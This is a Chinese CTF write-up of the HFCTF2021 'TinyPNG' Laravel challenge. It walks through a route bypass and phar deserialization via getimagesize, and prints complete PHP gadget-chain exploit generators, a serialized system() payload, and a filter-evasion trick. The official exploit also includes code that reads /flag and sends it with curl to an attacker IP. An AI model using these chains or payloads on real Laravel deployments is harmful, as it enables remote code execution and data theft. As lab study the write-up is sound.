HFCTF2021 TinyPNG
感谢 Naivekun 师傅的帮助
因为题目没有给全环境,所以自己 docker 搭了个环境,和 Buu 上的好像不太一样
docker 环境我会放在我的 GitHub 上,复现环境
2021-05-18 更新:
更新的部分,往下到结尾。
ZeddYu 师傅说将 HTTP2 走私的环境放到 GitHub 上了,H2走私环境
阅读源码
先阅读源码,搞清楚这个 Web 应用的具体功能和流程
Laravel 框架的默认路由位于 routes/web.php
下
<?php
//...
Route::get('/', function () {
return view('upload');
});
Route::post('/', [IndexController::class, 'fileUpload'])->name('file.upload.post');
//Don't expose the /image to others!
Route::get('/image', [ImageController::class, 'handle'])->name('image.handle');
所以很容易得到这个应用有三条路由
第一条路由是返回 upload
页面,视图文件位于 resources/views/*
其他两条路由,分别看他们对应的类和方法,位于 app/Http/Controllers/*
# app/Http/Controllers/IndexController.php
<?php
namespace App\Http\Controllers;
use Illuminate\Http\Request;
class IndexController extends Controller
{
public function fileUpload(Request $req)
{
$allowed_extension = "png";
$extension = $req->file('file')->clientExtension();
if($extension === $allowed_extension && $req->file('file')->getSize() < 204800)
{
$content = $req->file('file')->get();
if (preg_match("/<\?|php|HALT\_COMPILER/i", $content )){
$error = 'Don\'t do that, please';
return back()
->withErrors($error);
}else {
$fileName = \md5(time()) . '.png';
$path = $req->file('file')->storePubliclyAs('uploads', $fileName);
echo "path: $path";
return back()
->with('success', 'File has been uploaded.')
->with('file', $path);
}
} else{
$error = 'Don\'t do that, please';
return back()
->withErrors($error);
}
}
}
IndexController
的 fileUpload
方法实现了一个文件上传的功能
上传的文件后缀名只能以
.png
结尾上传的文件会被存储在
public/uploads
文件夹内,文件名不可控,为\md5(time()) . '.png'
对
<?
、php
、HALT_COMPILER
字符串进行了过滤上传成功后会返回储存的路径
# app/Http/Controllers/ImageController.php
<?php
namespace App\Http\Controllers;
use Illuminate\Http\Request;
class ImageController extends Controller
{
public function handle(Request $request)
{
$source = $request->input('image');
if(empty($source)){
return view('image');
}
$temp = explode(".", $source);
$extension = end($temp);
if ($extension !== 'png') {
$error = 'Don\'t do that, pvlease';
return back()
->withErrors($error);
} else {
$image_name = md5(time()) . '.png';
$dst_img = '/var/www/html/' . $image_name;
$percent = 1;
(new imgcompress($source, $percent))->compressImg($dst_img);
return back()->with('image_name', $image_name);
}
}
}
ImageController
的 handle
方法实现了一个压缩图片的功能
- 实现了,但又没有完全实现
- 读取 Request 中传入的
image
作为目标图片路径 - 读取该图片,调用
imgcompress
类中的compressImg
方法对图片进行压缩 - 压缩完成后返回图片的路径
在来看看调用的 imgcompress
类,因为比较长,所以截取关键部分贴上来
# app/Http/Controllers/imgcompress.php
<?php
class imgcompress
{
//...
/**
* 内部:打开图片
*/
private function _openImage()
{
list($width, $height, $type, $attr) = getimagesize($this->src);
$this->imageinfo = array(
'width' => $width,
'height' => $height,
'type' => image_type_to_extension($type, false),
'attr' => $attr
);
$fun = "imagecreatefrom" . $this->imageinfo['type'];
$this->image = $fun($this->src);
$this->_thumpImage();
}
//...
}
在 _openImage
方法中,getimagesize
函数会打开一个文件
而且在 PHP 4.0.5 支持后支持通过 URL 打开
于是这里我们就可以夹带私货了,比如说 phar://
修洞
先看路由 routes/web.php
Route::get('/', function () {
return view('upload');
});
Route::post('/', [IndexController::class, 'fileUpload'])->name('file.upload.post');
//Don't expose the /image to others!
Route::get('/image', [ImageController::class, 'handle'])->name('image.handle');
可以看到 //Don't expose the /image to others!
所以修洞很简单,直接注释掉/image
路由即可
打洞
题目给了Apache
的配置文件,开启了目录重写
所以访问/index.php/image
即可访问到/image
路由
我一开始看这个题目配了 HTTPS,想起来 4qE 比赛之前给我发的那篇推文,以为要打一个走私。结果是这样就绕过了。
然后这一题可以上传文件,可以读取文件,打一个 phar 反序列化
参考文章:一道CTF题引起的对laravel v8.32.1序列化利用链挖掘
题目环境里给出了 Laravel 的版本
"require": {
"php": "^7.3|^8.0",
"fideloper/proxy": "^4.4",
"fruitcake/laravel-cors": "^2.0",
"guzzlehttp/guzzle": "^7.0.1",
"laravel/framework": "^8.12",
"laravel/tinker": "^2.5"
},
所以照文章找一条链下来是个不错的选择
ImportConfigurator 类
第一个是 Symfony\Component\Routing\Loader\Configurator
中的类 ImportConfigurator
该类存在一个包含了语句 $this->xxx->xxx()
的 __destruct
方法
这样我们可以控制 $this->xxx
,从而执行一些预期之外的方法
# vendor/symfony/routing/Loader/Configurator/ImportConfigurator.php
class ImportConfigurator
{
private $parent;
//...
public function __destruct()
{
$this->parent->addCollection($this->route);
}
//...
}
因为函数名不可控,找一个有 __call
方法的类
比如说 Faker
中的类 ValidGenerator
ValidGenerator 类
# vendor/fakephp/faker/src/Faker/ValidGenerator.php
class ValidGenerator
{
protected $generator;
protected $validator;
protected $maxRetries;
//...
public function __call($name, $arguments)
{
$i = 0;
do {
$res = call_user_func_array([$this->generator, $name], $arguments);
$i++;
if ($i > $this->maxRetries) {
throw new \OverflowException(sprintf('Maximum retries of %d reached without finding a valid value', $this->maxRetries));
}
} while (!call_user_func($this->validator, $res));
return $res;
}
//...
}
选用这个类是因为这个 __call
方法中包含了清晰可见的 call_user_func_array
和 call_user_func
可以发现 call_user_func
的参数 $this->validator
是可控的
而另一个参数 $res
是从 call_user_func_array
函数中获得的返回值
call_user_func_array
的参数中,$this->generator
是可控的
但我们无法控制他的返回值,即无法控制 $res
另一个参数 $name
是不可控的,且值为 addCollection
另外我们为了触发一次 call_user_func
,这里选择将 $this->MaxRetries
置为 1 即可
DefaultGenerator 类
我们再看到 Faker
中的类 DefaultGenerator
# vendor/fakephp/faker/src/Faker/DefaultGenerator.php
class DefaultGenerator
{
protected $default;
//...
public function __call($method, $attributes)
{
return $this->default;
}
//...
}
这里的 __call
方法会返回一个我们完全可控的 $this->default
于是到这里,ValidGenerator
中的 $res
参数就是我们可以控制的了
调用链
梳理一下调用链
<?php
class ImportConfigurator
{
public function __destruct()
{
$this->parent->addCollection($this->route);
}
}
class ValidGenerator
{
public function __call($name, $arguments)
{
$i = 0;
do {
$res = call_user_func_array([$this->generator, $name], $arguments);
$i++;
if ($i > $this->maxRetries) {
throw new \OverflowException(sprintf('Maximum retries of %d reached without finding a valid value', $this->maxRetries));
}
} while (!call_user_func($this->validator, $res));
return $res;
}
}
class DefaultGenerator
{
public function __call($method, $attributes)
{
return $this->default;
}
}
1、通过 ImportConfigurator
类的 __destruct
方法触发 ValidGenerator
类的 __call
方法
2、ValidGenerator
类的 __call
方法中的 call_user_func_array
函数
3、触发 DefaultGenerator
类的 __call
方法
4、DefaultGenerator
类的 __call
方法返回值完全可控
5、ValidGenerator
类的 __call
方法中的 call_user_func_array
函数返回值 $res
可控
6、ValidGenerator
类的 __call
方法中 call_user_func
函数的两个参数都可控
条件梳理
ImportConfigurator->parent
=ValidGenerator 类
ValidGenerator->maxRetries
=1
ValidGenerator->generator
=DefaultGenerator 类
DefaultGenerator->default
=[任意可控函数参数]
ValidGenerator->validator
=[任意可控函数名称]
phar 反序列化
phar 反序列化是 BlackHat 2018 公布的一种不需要 unserialize
函数就能触发反序列化的方法
因为百度出来的复制来复制去都是那几篇文章,这里附一份 BlackHat 2018 的讲义
PHAR 文件是 PHP Archieve 的缩写,也就是类似于 Java 的 JAR 包的一种压缩文件
PHP 在读取 PHAR 文件的时候会对 .phar/.metadata.bin
中的内容进行反序列化
# exp1.phar.tar.gz/.phar/.metadata.bin
O:64:"Symfony\Component\Routing\Loader\Configurator\ImportConfigurator":1:{s:72:" Symfony\Component\Routing\Loader\Configurator\ImportConfigurator parent";O:20:"Faker\ValidGenerator":3:{s:12:" * generator";O:22:"Faker\DefaultGenerator":1:{s:10:" * default";s:34:"echo "<?php phpinfo(); ?>" > 1.php";}s:12:" * validator";s:6:"system";s:13:" * maxRetries";i:1;}}
而 .phar/stub.php
是 PHAR 文件的一个标志,即 __HALT_COMPILER(); ?>
PHP 不会理会这个标志前面是什么东西,他只管把这个标志后面的部分作为 PHAR 包来解析
test.txt
是随便一个什么东西,是一个为了完成压缩而随意构造的东西,PHAR 反序列化的重点也不在这里 2333
因此只要 PHP 能以 phar://
协议读取这个文件,我们的目的就达到了
EXP
<?php
namespace Symfony\Component\Routing\Loader\Configurator{
class ImportConfigurator{
private $parent;
function __construct($c1){
$this->parent = $c1;
}
}
}
namespace Faker{
class DefaultGenerator{
protected $default;
function __construct($param){
$this->default = $param;
}
}
class ValidGenerator{
protected $generator;
protected $validator;
protected $maxRetries;
function __construct($func,$param){
$this->generator = new DefaultGenerator($param);
$this->maxRetries = 1;
$this->validator = $func;
}
}
}
namespace{
$phar = new Phar('exp1.phar');
$phar = $phar->convertToExecutable(Phar::TAR, Phar::GZ);
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER();?>');
$phar->addFromString('test.txt', 'test');
$o = new Symfony\Component\Routing\Loader\Configurator\ImportConfigurator(
new Faker\ValidGenerator('system','echo "<?php phpinfo(); ?>" > 1.php')
);
$phar->setMetadata($o);
$phar->stopBuffering();
echo serialize($o);
}
因为上传文件有对 stub 和 php 的过滤,加一行语句压缩一下就能过
压缩后的文件内容
足够抽象了吧 233
生成出来的 exp1.phar.tar.gz
,改名为 exp1.png
P.S. 因为 PHP 8 在遇到异常的时候会作为错误处理,停止执行代码
所以如果题目环境是 PHP 8 好像是打不通的 (我是 Manjaro 神教,被坑了不短时间 2333)
上传文件,然后访问路由 /index.php/image?image=phar://./uploads/xxxxxxx.png
会返回 500 错误,我开了 Laravel DEBUG 所以页面上有详细信息
但是 phar 反序列化已经执行了,所以会在 public
目录生成一个 1.php
访问 /1.php
即可
官方版本 EXP
参考了 ZeddYu 师傅的推文。
本地环境和 Buu 远程环境不太一样,我的 EXP 好像没打通,官方解用了另一条链。
有兴趣的师傅可以跟一下这条链。
<?php
namespace Illuminate\Bus {
class Dispatcher
{
protected $queueResolver;
function __construct()
{
$this->queueResolver = [new \Mockery\Loader\EvalLoader(), 'load'];
}
}
}
namespace Illuminate\Broadcasting {
class PendingBroadcast
{
protected $events;
protected $event;
function __construct($evilCode)
{
$this->events = new \Illuminate\Bus\Dispatcher();
$this->event = new BroadcastEvent($evilCode);
}
}
class BroadcastEvent
{
public $connection;
function __construct($evilCode)
{
$this->connection = new \Mockery\Generator\MockDefinition($evilCode);
}
}
}
namespace Illuminate\Support {
class MessageBag
{
protected $messages = [];
protected $format;
function __construct($inner)
{
$this->format = $inner;
}
}
}
namespace Mockery\Loader {
class EvalLoader
{
}
}
namespace Mockery\Generator {
class MockDefinition
{
protected $config;
protected $code;
function __construct($evilCode)
{
$this->code = $evilCode;
$this->config = new MockConfiguration();
}
}
class MockConfiguration
{
protected $name = 'abcdefg';
}
}
namespace {
$code = '<?php $s=base64_encode(file_get_contents("/flag"));system("curl http://xx.xx.xx.xx:5555/?a=".$s);exit; ?>';
$expected = new \Illuminate\Broadcasting\PendingBroadcast($code);
$res = new \Illuminate\Support\MessageBag($expected);
@unlink("exp2.phar.tar.gz");
$phar = new Phar("exp2.phar");
$phar = $phar->convertToExecutable(Phar::TAR, Phar::GZ);
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER();?>");
$phar->setMetadata($res);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
echo serialize($res);
}
HTTP2 走私
原来 /index.php/image
真的是非预期。
ZeddYu 师傅的推文里有提到 HTTP2 走私才是预期解。
我这里贴一下 4qE 发给我的文章:BlackHat:HTTP 请求走私的新变体、新防御
等我把走私复现了再更新博客 233